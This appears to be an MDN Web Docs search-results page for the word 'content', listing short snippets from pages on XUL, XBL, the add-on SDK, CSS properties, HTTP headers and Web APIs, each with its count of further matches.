...the location differs by operating system: linux: /usr/lib/mozillafirefox/chrome/classic.ja or /usr/lib/firefox-*.*.*/omni.ja windows: \program files\mozilla firefox\omni.ja mac os x: /applications/firefox.app/
contents/macos/omni.ja now, open (or unzip) this file into the directory you created.
...next, the
contents of the following directories to their respective folders into the folder.
...And 7 more matches
XForms Custom Controls - Archive of obsolete content
this also includes
content loaded from file:// urls.
...xf|select1[appearance="compact"] { -moz-binding: url('chrome://xforms/
content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains.
...xf|output[mediatype^="image"] { -moz-binding: url('chrome://xforms/
content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } custom data types if you define a new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a new custom control.
...And 7 more matches
Window.content - Web APIs
note: since firefox 57 (initially nightly-only), both the
content and _
content variants are only available to chrome (privileged) code, and not available to the web anymore.
... returns a window object for the primary
content window.
... this is useful in xul windows that have a <browser> (or tabbrowser or <iframe>) with type="
content-primary" attribute on it — the most famous example is firefox main window, browser.xul.
...And 7 more matches
Making content editable - Developer guides
all you have to do is set the
contenteditable attribute on nearly any html element to make it editable.
... here's a simple example which creates a <div> element whose
contents the user can edit.
... <div
contenteditable="true"> this text can be edited by the user.
...And 7 more matches
Content-Disposition - HTTP
in a regular http response, the
content-disposition response header is a header indicating if the
content is expected to be displayed inline in the browser, that is, as a web page or as part of a web page, or as an attachment, that is downloaded and saved locally.
... in a multipart/form-data body, the http
content-disposition general header is a header that can be used on the subpart of a multipart body to give information about the field it applies to.
... the subpart is delimited by the boundary defined in the
content-type header.
...And 7 more matches
Communicating using "postMessage" - Archive of obsolete content
as an alternative to port,
content modules support the built-in message event.
...however, the context-menu module does not support port, so to send messages from a
content script to the add-on via a context menu object, you must use message events.
... handling message events in the
content script to send a message from a
content script, you use the postmessage function of the global self object: self.postmessage(
contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value.
...And 6 more matches
clipboard - Archive of obsolete content
interact with the system clipboard, setting and getting its
contents.
... examples set and get the
contents of the clipboard.
... var clipboard = require("sdk/clipboard"); clipboard.set("lorem ipsum dolor sit amet"); var
contents = clipboard.get(); set the clipboard
contents to some html.
...And 6 more matches
ui/frame - Archive of obsolete content
right now it can be used in conjunction with a toolbar: you create a frame, then supply it to the toolbar's constructor, and the
content is then displayed inside the toolbar.
... for example, this html document defines a <select> element and a couple of <span> elements, and includes a css file to style the
content and a javascript script to implement behavior: <!doctype html> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="city-selector"></select> <span id="time" class="info-element"></span> <span id="weather" class="info-element"></span> <script type="text/javascript" src="city-info.js"></script> </body> </html> if we save this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting...
... it and add the frame to a toolbar like this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); the toolbar is positioned between the address bar and the
content window.
...And 6 more matches
Displaying annotations - Archive of obsolete content
matcher page-mod matcher
content script the
content script for the matcher page-mod is initialized with a list of all the annotations that the user has created.
... the complete
content script is here: self.on('message', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.url == document.location.tostring()) { createanchor(annotation); } }); $('.annotated').css('border', 'solid 3px yellow'); $('.annotated').bind('mouseenter', function(event) { self.port.emit('show', $(this).attr('annotation')); ev...
... updating main.js first, initialize an array to hold workers associated with the matcher's
content scripts: var matchers = []; in the main function, add the code to create the matcher: var matcher = pagemod.pagemod({ include: ['*'],
contentscriptwhen: 'ready',
contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('matcher.js')], onattach: function(worker) { if(simplestorage.storage.annotations) { worker.postmessage(simplestorage.storage.annota...
...And 6 more matches
Storing annotations - Archive of obsolete content
the annotation is composed of the text the user entered and the "annotation anchor", which consists of the url, element id and element
content: function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); } this function calls a constructor for an annotation object, which we also need to supply: function annotation(annotationtext, anchor) { this.annotationtext = annotationtext; this.url = anchor[0]; this.ancestorid =...
... anchor[1]; this.anchortext = anchor[2]; } now we need to link this code to the annotation editor, so that when the user presses the return key in the editor, we create and store the new annotation: var annotationeditor = panels.panel({ width: 220, height: 220,
contenturl: data.url('editor/annotation-editor.html'),
contentscriptfile: data.url('editor/annotation-editor.js'), onmessage: function(annotationtext) { if (annotationtext) handlenewannotation(annotationtext, this.annotationanchor); annotationeditor.hide(); }, onshow: function() { this.postmessage('focus'); } }); listing stored annotations to prove that this works, let's implement the part of the add-on that displays all the previously entered annotations.
... the panel has three new files associated with it: a
content-script which builds the panel
content a simple html file used as a template for the panel's
content a simple css file to provide some basic styling.
...And 6 more matches
HTML to DOM - Archive of obsolete content
however, there are potential dangers involved in injecting remote
content in a privileged context in your extension, so it can be desirable to parse the html safely.
...ttp://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(ahtmlstring, false, null, body)); return body; } it works by creating a
content-level (this is safer than chrome-level) <div> in the current page, then parsing the html fragment and attaching that fragment to the <div>.
...tml (instead of body), you have all document object with its complete functions list, therefore you can retrieve info within div tag like this: var dompars = htmlparser("<div id='userinfo'>john was a mediocre programmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an iframe whose type is
content (not chrome).
...And 6 more matches
Install Manifests - Archive of obsolete content
examples <em:abouturl>chrome://myext/
content/about.xul</em:abouturl> bootstrap a boolean value that tells the application whether the extension is boot-strappable.
...alternatively you can place your icon in the directory specified in your
content package line.
...alternatively you can place your icon in the directory specified in your
content package line.
...And 6 more matches
Adding windows and dialogs - Archive of obsolete content
window.open( "chrome://xulschoolhello/
content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window.
...this means that the document defines the whole window, and not only the inner
content area.
...in general, windows should not be resizable unless they display dynamically generated
content from a datasource, such as lists or trees that may need resizing to have a better view of the
content.
...And 6 more matches
Appendix D: Loading Scripts - Archive of obsolete content
javascript files or urls may be loaded in this manner by first retrieving their
contents into memory using an xmlhttprequest.
... examples the following code will execute a simple script in a sandbox with the privilege level of the current
content page.
... the globals of the current
content window will be available in the scripts global scope.
...And 6 more matches
Promises - Archive of obsolete content
let config = json.parse( yield os.file.read(configpath, { encoding: "utf-8" })); let files = []; // get the directory
contents from a list of directories.
... for (let dir of config.directories) { // iterate over the
contents of the directory.
... let form = new formdata; form.append("id", data.id); form.append("
content", data.
content); // make the second request.
...And 6 more matches
CSS3 - Archive of obsolete content
css style attributes recommendation since november 7th, 2013 formally defines the syntax of the
content of the html style global attribute.
... allow the styling of forms according their
content using the css :indeterminate, :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only, and :read-write pseudo-classes and the ::value, ::choices, ::repeat-item, and ::repeat-index pseudo-elements.
... support for icons, defined by the css icon property simultaneously with the new icon value of the css
content property.
...And 6 more matches
Style System Overview - Archive of obsolete content
content nodes (instead of stylesheets) also hold onto cssstyleruleimpl objects that represent their style attributes.
... style contexts own their parents, since inheritance operates through style context parents (ugly when we have multiple frames per
content node).
... parent style context determines inheritance; it should always be the
content parent.
...And 6 more matches
Building Menus With Templates - Archive of obsolete content
however, unlike with other elements, the
content of a menu is only generated once the menu has been opened.
...this allows for better performance as the entire
content of a complex menu does not need to be created until the user needs to use the menu.
...note that the generated
content does not get removed again when the menu is closed again; this extra feature of menus is only intended to be a performance enhancement to speed up the time it takes to display a window by avoiding extra generation that can be put off until later.
...And 6 more matches
Recursive Generation - Archive of obsolete content
after generating
content, the template builder always repeats the generation for inner levels as far as it can go.
... thus, the builder can be said to generate
content from the graph recursively.
... after generating a result's
content, the builder starts again using a new parent and starting point.
...And 6 more matches
Trees - Archive of obsolete content
however, listboxes may contain any type of
content, whereas trees may only contain text and images.
...this allows the view to be optimized such that it only needs to load the data for displayed
content.
... the
content tree view having said that the data to be displayed in a tree comes from a view and not from xul tags, there happens to be a built-in tree view which gets its data from xul tags.
...And 6 more matches
Using the W3C DOM - Archive of obsolete content
in addition to these access methods, the w3c dom specifications provide methods for creating new elements and inserting them in a document, for creating attributes, new
content, for traversing the
content tree and for handling events dispatched as the user interacts with the document itself.
... manipulating document style and
content changing an element's style using the dom the following table describes standards-based methods for accessing and updating style rules defined for various html elements in a web page.
... css 1 forward-compatible parsing css 2.1 rules for handling parsing errors changing an element's text using the dom the text of an element is available as the text
content or innertext property (some browsers support both).
...And 6 more matches
-ms-wrap-flow - Archive of obsolete content
the -ms-wrap-flow css property is a microsoft extension that specifies how exclusions impact inline
content within block-level elements.
... both inline flow
content can flow on all sides of the exclusion.
... start inline flow
content can wrap on the start edge of the exclusion area but must leave empty the area after the end edge of the exclusion area.
...And 6 more matches
nsIContentSecurityPolicy
content/base/public/nsi
contentsecuritypolicy.idlscriptable describes an xpcom component used to model and enforce
content security policies.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long a
contenttype, in nsiuri a
contentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long a
contenttype, in nsiuri a
contentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetype, in nsisupports aextra); attributes attribute type description allowseval boolean whether this polic...
... isinitialized boolean set to true when the
content security policy has been read in and parsed and is ready to enforce.
...And 6 more matches
ContentIndex.add() - Web APIs
the add() method of the
contentindex interface registers an item with the
content index.
... syntax
contentindex.add(
contentdescription).then(...); parameters
contentdescription the item registered is an object containing the following data: id: a unique string identifier.
...used in user-visible lists of
content.
...And 6 more matches
ContentIndexEvent - Web APIs
the
contentindexevent interface of the
content index api defines the object used to represent the
contentdelete event.
...it contains the id of the indexed
content to be removed.
... the
contentdelete event is only fired when the deletion happens due to interaction with the browser's built-in user interface.
...And 6 more matches
fit-content() - CSS: Cascading Style Sheets
the fit-
content() css function clamps a given size to an available size according to the formula min(maximum size, max(minimum size, argument)).
... the function can be used as a track size in css grid properties, where the maximum size is defined by max-
content and the minimum size by auto, which is calculated similar to auto (i.e., minmax(auto, max-
content)), except that the track size is clamped at argument if it is greater than the auto minimum.
... the function can also be used as laid out box size for width, height, min-width, min-height, max-width and max-height, where the maximum and minimum sizes refer to the
content size.
...And 6 more matches
justify-content - CSS: Cascading Style Sheets
the css justify-
content property defines how the browser distributes space between and around
content items along the main-axis of a flex container, and the inline axis of a grid container.
... syntax /* positional alignment */ justify-
content: center; /* pack items around the center */ justify-
content: start; /* pack items from the start */ justify-
content: end; /* pack items from the end */ justify-
content: flex-start; /* pack flex items from the start */ justify-
content: flex-end; /* pack flex items from the end */ justify-
content: left; /* pack items from the left */ justify-
content: right; /* pack item...
...s from the right */ /* baseline alignment */ /* justify-
content does not take baseline values */ /* normal alignment */ justify-
content: normal; /* distributed alignment */ justify-
content: space-between; /* distribute items evenly the first item is flush with the start, the last is flush with the end */ justify-
content: space-around; /* distribute items evenly items have a half-size space on either end */ justify-
content: space-evenly; /* distribute items evenly items have equal space around them */ justify-
content: stretch; /* distribute items evenly stretch 'auto'-sized items ...
...And 6 more matches
place-content - CSS: Cascading Style Sheets
the place-
content css shorthand property allows you to align
content along both the block and inline directions at once (i.e.
... the align-
content and justify-
content properties) in a relevant layout system such as grid or flexbox.
... constituent properties this property is a shorthand for the following css properties: align-
content justify-
content syntax /* positional alignment */ /* align-
content does not take left and right values */ place-
content: center start; place-
content: start center; place-
content: end left; place-
content: flex-start center; place-
content: flex-end center; /* baseline alignment */ /* justify-
content does not take baseline values */ place-
content: baseline center; place-
content: first baseline space-evenly; place-
content: last baseline right; /* distributed alignment...
...And 6 more matches
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
the html <embed> element embeds external
content at the specified point in the document.
... this
content is provided by an external application or other source of interactive
content such as a browser plug-in.
...
content categories flow
content, phrasing
content, embedded
content, interactive
content, palpable
content.
...And 6 more matches
Content-Encoding - HTTP
the
content-encoding entity header is used to compress the media-type.
...it lets the client know how to decode in order to obtain the media-type referenced by the
content-type header.
... header type entity header forbidden header name no syntax
content-encoding: gzip
content-encoding: compress
content-encoding: deflate
content-encoding: identity
content-encoding: br // multiple, in the order in which they were applied
content-encoding: gzip, identity
content-encoding: deflate, gzip directives gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc.
...And 6 more matches
Display a Popup - Archive of obsolete content
a panel's
content is defined using html.
... you can run
content scripts in the panel: although the script running in the panel can't directly access your main add-on code, you can exchange messages between the panel script and the add-on code.
...the panel just contains a <textarea> element: when the user presses the return key, the
contents of the <textarea> is sent to the main add-on code.
...And 5 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
many add-ons need to dynamically generate dom
content, either xul or html, from their scripts.
...the demo of this is seen at jsfiddle :: jsontodom example var json = ['html:div', {style:'background-color:springgreen'}, ['html:form', {id:'myfirstform'}, ['html:input', {type:'text', value:'my field'}], ['html:button', {id:'mybtn'}, 'button text
content'] ], ['html:form', {id:'mysecondform'}, ['html:input', {type:'text', value:'my field for second form'}], ['html:div', {}, 'sub div with text
content and siblings', ['html:br', {}], ['html:input', {type:'checkbox', id:'mycheck'}], ['html:label', {for:'mycheck'}, 'here is text of label...
...it is safe, though inefficient, to assign dynamic values to innerhtml if any dynamic
content in the value is escaped with the following function: function escapehtml(str) { return str.replace(/[&"'<>]/g, (m) => ({ "&": "&", '"': """, "'": "'", "<": "<", ">": ">" })[m]); } or slightly more verbose, but slightly more efficient: function escapehtml(str) { return str.replace(/[&"'<>]/g, (m) => escapehtml.replacements[m]); } escapehtml.replacements = { "&": "&", '"':...
...And 5 more matches
Notes on HTML Reflow - Archive of obsolete content
the html formatting objects are called frames : a frame corresponds to the geometric information for (roughly) a single element in the
content model; the frames are arranged into a hierarchy that parallels the containment hierarchy in the
content model.
...more than one frame may be needed to represent a single element from the
content model; for example, text that wraps is broken into several frames, one per wrapped line.
...other reflows are incremental and are dealt with asynchronously; for example, when
content streams in from the network.
...And 5 more matches
Menu - Archive of obsolete content
features can also create new menus and attach them almost anywhere, chrome or
content, as popup menus or context menus.
... for example, to add an item to the tabs' context menu, try: jetpack.menu.context.browser.beforeshow = function (menu, context) { menu.reset(); if (context.node.localname === "tab") menu.add("hey, a tab!"); }; (the reason this problem exists is because document.queryselectorall() does not match anonymous
content in xul.
... many parts of firefox's interface are actually anonymous
content.
...And 5 more matches
RDF Modifications - Archive of obsolete content
let's assume we have single query with as follows: <query> <
content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> these query statements will cause any photos with both a title and a descr...
...the
content tag can safely be skipped at this part of the process, so the builder moves onto the member statement.
...first, once the builder reaches the
content statement, it checks what the container or reference variable is, in this case ?start, as specified by the uri attribute.
...And 5 more matches
RDF Query Syntax - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <
content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ...
...the template won't generate anything yet since we still need to fill in the
content to be generated which goes in the missing part inside the rule.
...this is done with the
content tag.
...And 5 more matches
Sorting Results - Archive of obsolete content
« previousnext » when results are generated from a query,
content is generated in the same order as the results.
... for an xml datasource, generated
content will be output in the order corresponding to the results of the xpath query expression.
... for an sqlite datasource, the generated
content corresponds to the order of results of the sql query.
...And 5 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
event handlers as you might expect, mouse clicks, key presses and other events are passed to each of the elements inside the
content.
...you can add event handlers to the elements inside the
content if needed.
...handler element however, you may want to add an event handler to the entire
contents, that is, all the elements defined in the
content tag.
...And 5 more matches
Box Objects - Archive of obsolete content
about mozilla layout mozilla divides things into two sets of trees, the
content tree and the layout tree.
... the
content tree stores the nodes as they are found in the source code.
...the layout tree holds the structure as the nodes are expected to be displayed there is not necessarily a one to one relationship between
content and layout nodes.
...And 5 more matches
XBL Attribute Inheritance - Archive of obsolete content
however, with the features mentioned so far, the anonymous
content is always created in the same way.
...for example: xul: <searchbox/> xbl: <binding id="searchbinding"> <
content> <xul:textbox/> <xul:button label="search"/> </
content> </binding> in the example, the label attribute has been placed directly on the button element.
...<xul:textbox xbl:inherits="flex"/> <xul:button xbl:inherits="label"/> when the
content is generated, the textbox grabs the flex attribute from the searchbox and the button grabs the label attribute from the searchbox.
...And 5 more matches
XBL Example - Archive of obsolete content
content of the slideshow first, let's determine what elements need to go in the xbl
content.
... because we want page flipping, a deck element would be the most suitable to hold the page
content.
... the
content of the pages will be specified in the xul file, not in xbl, but we'll need to add it inside the deck.
...And 5 more matches
Using Remote XUL - Archive of obsolete content
xul is often used by desktop applications like mozilla but can also be loaded from a web server and rendered inside the
content pane of a compatible browser.
... [***aw: we should have a screenshot here of a xul document loaded in a
content window***] this tutorial walks you through the process of building xul-based navigation for the mozilla.org web site.
...its primary mechanism--the hyperlink--was designed to be interspersed in
content.
...And 5 more matches
window - Archive of obsolete content
moreover this hides separator between titlebar and window
contents.
...this is used to prevent the find bar from being displayed when it's not supported by the
content (such as in the add-ons manager tab).
... drawintitlebar type: boolean if this attribute is true, the top of the window's
content area will begin at the top edge of the title bar, instead of below the title bar.
...And 5 more matches
Theme changes in Firefox 2 - Archive of obsolete content
filename css file details browser/base/searchdialog.xul browser/base/
content/searchdialog.css removed from firefox 2.
... browser/safebrowsing/dim.png new file; this is a graphic overlaid on top of the
contents of the window to "dim" it when the safe browsing warning window is displayed.
... it should use translucency to allow the window
contents to be visible through it.
...And 5 more matches
Writing JavaScript for XHTML - Archive of obsolete content
the receiving browser considers the
content to be html, and does not utilise its xml parser.
...(rather than displaying
content, it would present the user with a file download dialog.) but it is also founded in the experience that javascript, authored carefully for html, can break when placed with an xml environment.
.../*]]>*/ </style> and if you really need compatibility with very old browsers that do not recognize the script or style tags resulting in their
contents displayed on the page, you can use this: <script type="text/javascript"><!--//--><![cdata[//><!-- ...
...And 5 more matches
Video and audio content - Learn web development
objective: to learn how to embed video and audio
content into a webpage, and add captions/subtitles to video.
...ong time, ever since the early 2000s when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) in the early days, native web technologies such as html didn't have the ability to embed video and audio on the web, so proprietary (or plugin-based) technologies like flash (and later, silverlight) became popular for handling such
content.
... the paragraph inside the <video> tags this is called fallback
content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers.
...And 5 more matches
nsIContentSniffer
netwerk/base/public/nsi
contentsniffer.idlscriptable
content sniffer interface.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to implement this interface use net-
content-sniffers category.
... see netwerk/build/nsnetcid.h about ns_
content_sniffer_category.
...And 5 more matches
nsIContentViewManager
content/base/public/nsiframeloader.idlscriptable manages the
content views contained in a browser 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to obtain a reference to the view manager for a document, you can queryinterface() the nsiframeloader object to nsi
contentviewmanager.
... see getting access to
content views for details.
... once you have the view manager, you can call get
contentviewsin() to get a list of the
content views for a given portion of the browser display, then use those nsi
contentview objects to manipulate the
content views.
...And 5 more matches
ContentIndexEvent() - Web APIs
the
contentindexevent() constructor creates a new
contentindexevent object whose type and other options are configured as specified.
... syntax var
contentindexevent = new
contentindexevent(type,
contentindexeventinit); parameters type a domstring indicating the event which occurred.
... for
contentindexevent, this is always delete.
...And 5 more matches
ResizeObserverEntry.contentRect - Web APIs
the
contentrect read-only property of the resizeobserverentry interface returns a domrectreadonly object containing the new size of the observed element when the callback is run.
... note that this is better supported than resizeobserverentry.borderboxsize or resizeobserverentry.
contentboxsize, but it is left over from an earlier implementation of the resize observer api, is still included in the spec for web compat reasons, and may be deprecated in future versions.
... syntax var
contentrect = resizeobserverentry.
contentrect; value a domrectreadonly object containing the new size of the element indicated by the target property.
...And 5 more matches
self - Archive of obsolete content
this article documents the self object that is available as a global in
content scripts.
... self provides: access to the options object access to the port object access to a mostly deprecated messaging api for an overview of
content scripts, see the main article.
... note that the self object in
content scripts is completely different from the self module, which provides an api for an add-on to access its data files and id.
...And 4 more matches
XUL Migration Guide - Archive of obsolete content
next, we'll look at some of the main tasks involved in migrating: working with
content scripts using the sdk's supported apis how to go beyond the supported apis when necessary, by: using third party modules using the sdk's low-level apis getting direct access to xpcom finally, we'll walk through a simple example.
... my-addon/ chrome/
content/ locale/ skin/ chrome.manifest data/ lib/ package.json there are limitations on what you can do in this manifest file: for example, you can't register overlays, resource: uris, or components.
...in that directory you can keep your "
content", "locale", and "skin" subdirectories: this allows you to refer to objects in these directories from "chrome.manifest" using a relative path, like "chrome/
content".
...And 4 more matches
self - Archive of obsolete content
note that the self module is completely different from the global self object accessible to
content scripts, which is used by a
content script to communicate with the add-on code.
... methods data.load(name) the data.load() method returns the
contents of an embedded data file, as a string.
...for data that can be displayed directly in a
content frame, use data.url().
...And 4 more matches
dev/panel - Archive of obsolete content
with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's
content and behavior using html, css, and javascript.
... you can't directly manipulate the panel's
content from main.js, but you can exchange messages with scripts running in the panel.
... const mytool = new tool({ panels: { mypanel: mypanel } }); panel document environment the panel document loaded from the url property can of course include css and javascript just like a normal web page: <html> <head> <meta charset="utf-8"> <link href="./my-panel.css"rel="stylesheet"></link> <script src="resource://sdk/dev/volcan.js"></script> </head> <body> <div id="
content"></div> </body> <script src="./my-panel.js"></script> </html> it doesn't have access to any privileged apis, including the add-on sdk apis.
...And 4 more matches
Low-Level APIs - Archive of obsolete content
content/
content re-exports three objects from three other modules: loader, worker, and symbiont.
...
content/loader provides one of the building blocks for those modules that use
content scripts to interact with web
content, such as panel and page-mod.
...
content/mod provides functions to modify a page
content.
...And 4 more matches
Sidebar - Archive of obsolete content
web panels sidebar
content such as web pages can be safely loaded as sidebar in the "viewwebpanelssidebar".
...to open a page in the "viewwebpanelssidebar" from chrome code (browser/addon/extension) such as from menuitem, it can call: openwebpanel(atitle, auri); accessing the sidebar from a browser.xul script the sidebar
content is always in a document separate from the main browser document (the sidebar is actually implemented as a xul browser element).
... this means you can't directly access the sidebar
content from a script referenced from a browser.xul overlay.
...And 4 more matches
Using the Stylesheet Service - Archive of obsolete content
the stylesheet service allows extensions to manage user and ua stylesheets without having to touch user
content.css or userchrome.css files.
... using the api the string "chrome://myext/
content/myext.css" in the examples below is just an example.
... var sss = components.classes["@mozilla.org/
content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/
content/myext.css", null, null); sss.loadandregistersheet(uri, sss.user_sheet); note: loadandregistersheet will load the sty...
...And 4 more matches
Clipboard Test - Archive of obsolete content
<style></style> <style>.description{ display: block; font-size: 13pt; color: #444; font-style: italic; margin-bottom: 7px; } .method>.returns{display: none;} .method>.name>.param:not(:last-child):after{
content: ","; padding-right: .5em; } .method>.name>.param:not(:last-child):after{
content: ","; padding-right: .5em; } .method>.name>.param>.name:after{
content: " as "; font-weight: normal; } .method>.params{display: block; color:#555;} .method>.params>.param{display: block; margin-bottom:5px;} .method>.params>.param>.name{font-weight:bold; margin-right:.5em; min-width:80px; display:inline-block;} .method>.params>.param>.description{display:inline-block; width:300px; vertical-align:top;margin-right:30px} .method>.params>.param>.type{display:inline-block; width:100px; vertical-align:top;font-weight:b...
...old;} .method>.params>.param>.type:before{
content: "type "; color: #888; font-weight:normal;} .method>.params>.param>.default{display:inline-block; width:100px; vertical-align:top;font-weight:bold;} .method>.params>.param>.default:before{
content: "default "; color: #888;font-weight:normal;} ]]></style> clipboard jetpack's clipboard support api provides a standardized way for features to access the clipboard.
...jetpack.future.import("clipboard"); methods set(
contentstringflavorstring)writes data from jetpack to the clipboard.
...And 4 more matches
jspage - Archive of obsolete content
constructors=new hash;var iframe=new native({name:"iframe",generics:false,initialize:function(){var f=array.link(arguments,{properties:object.type,iframe:$defined}); var d=f.properties||{};var c=document.id(f.iframe);var e=d.onload||$empty;delete d.onload;d.id=d.name=$pick(d.id,d.name,c?(c.id||c.name):"iframe_"+$time()); c=new element(c||"iframe",d);var b=function(){var g=$try(function(){return c.
contentwindow.location.host;});if(!g||g==window.location.host){var h=new window(c.
contentwindow); new document(c.
contentwindow.document);$extend(h.element.prototype,element.prototype);}e.call(c.
contentwindow,c.
contentwindow.document);};var a=$try(function(){return c.
contentwindow; });((a&&a.document.body)||window.frames[d.id])?b():c.addlistener("load",b);return c;}});var elements=new native({initialize:f...
...};var j=function(n,l,s,m,p,r){var o=n[s||l];var q=[];while(o){if(o.nodetype==1&&(!m||element.match(o,m))){if(!p){return document.id(o,r); }q.push(o);}o=o[l];}return(p)?new elements(q,{ddup:false,cash:!r}):null;};var e={html:"innerhtml","class":"classname","for":"htmlfor",defaultvalue:"defaultvalue",text:(browser.engine.trident||(browser.engine.webkit&&browser.engine.version<420))?"innertext":"text
content"}; var b=["compact","nowrap","ismap","declare","noshade","checked","disabled","readonly","multiple","selected","noresize","defer"];var k=["value","type","defaultvalue","accesskey","cellpadding","cellspacing","colspan","frameborder","maxlength","readonly","rowspan","tabindex","usemap"]; b=b.associate(b);hash.extend(e,b);hash.extend(e,k.associate(k.map(string.tolowercase)));var a={before:function(m...
...neevents(d,b); }}else{if(c[a]){c[a].keys.each(function(e){this.addevent(a,e);},this);}}return this;}});element.nativeevents={click:2,dblclick:2,mouseup:2,mousedown:2,contextmenu:2,mousewheel:2,dommousescroll:2,mouseover:2,mouseout:2,mousemove:2,selectstart:2,selectend:2,keydown:2,keypress:2,keyup:2,focus:2,blur:2,change:2,reset:2,select:2,submit:2,load:1,unload:1,beforeunload:2,resize:1,move:1,dom
contentloaded:1,readystatechange:1,error:1,abort:1,scroll:1}; (function(){var a=function(b){var c=b.relatedtarget;if(c==undefined){return true;}if(c===false){return false;}return($type(this)!="document"&&c!=this&&c.prefix!="xul"&&!this.haschild(c)); };element.events=new hash({mouseenter:{base:"mouseover",condition:a},mouseleave:{base:"mouseout",condition:a},mousewheel:{base:(browser.engine.gecko)?"dommou...
...And 4 more matches
RDF Datasource How-To - Archive of obsolete content
ns_release(mydatasource); } nsservicemanager::releaseservice(krdfservicecid, rdf); } displaying rdf as
content now that you've gone through all this pain to expose your information as a datasource, you probably want to see it.
... using xul, you can display the
contents of your datasource in a tree control, a menu, or a toolbar.
... in fact, you can convert rdf to an arbitrary
content model using xul templates.
...And 4 more matches
Binding Implementations - Archive of obsolete content
it can be assumed that the anonymous
content of the binding has been fully constructed, although the bindingattached event will not have fired.
... property initialization always takes place after
content generation but before the firing of a binding attachment event, since the bindingattached handler needs to be able to assume that all properties will be accessible on the binding.
... properties also support a shorthand syntax for defining getters and setters that forward requests or assignments to an anonymous
content element.
...And 4 more matches
Filtering - Archive of obsolete content
this method will remove all of the existing generated
content, delete all of the internal information pertaining to the results, and start again as if the template were just being examined for the first time.
...when a choice is made, the applyfilter function as shown above is called and the template
content gets rebuilt with the desired filter applied.
... generating a filter menu templates may be used to generate any type of
content.
...And 4 more matches
Multiple Rules - Archive of obsolete content
only those results that match the conditions have
content generated for them.
...the first rule that matches causes
content to be generated for that result.
...if a result from the query doesn't match any of the rules, it is ignored and no
content is generated for it.
...And 4 more matches
Complete - Archive of obsolete content
install.js installation script for seamonkey chrome directory containing the extension code chrome/allcustom.jar the extension jar defaults/preferences directory containing a preferences file inside the jar there are three directories:
content xul, javascript and other
content that does not depend on the locale or theme locale files for each locale skin files for each theme version checks firefox etc.
...for more information about version checks, see: extension versioning, update and compatibility the installed jar to use disk space efficiently on the end user's computer, the three directories (
content, locale, skin) are packed in a jar file.
...for example, chrome.manifest originally had:
content custombutton chrome/ now it has:
content allcustom jar:chrome/allcustom.jar!/
content/allcustom/ you can see the other changes if you unpack the xpi.
...And 4 more matches
Custom Tree Views - Archive of obsolete content
creating a custom view so far, we have only been using the built-in
content tree view.
...naturally, since a custom tree view is being used, the
content tree view will not be used, so the treeitem, treerow, and treecell elements will have no purpose since the custom view will get its data from elsewhere.
... getcelltext( row , column ) this method should return the text
contents at the specified row and column.
...And 4 more matches
Tabboxes - Archive of obsolete content
you would place the
content for a page within this element.
...the difference is that the tabs render slightly differently and only one tab panel's
contents are visible at once, much like a deck.
... the
contents of the individual tab pages should go inside each tabpanel element.
...And 4 more matches
XUL Questions and Answers - Archive of obsolete content
a workaround is to open the
content in a new window using "window.open" and send titlebar=”no” as one of the flags in the 3rd argument.
... using the following code sample, // get browsers object var browsers=document.getelementbyid('
content').browsers; var numbrowsers=browsers.length; for (var i=0; numbrowsers>i; i++) { var thisuri=browsers[i].currenturi.spec; // do something with it.
... } the person can get the titles too using the .
contenttitle tag.
...And 4 more matches
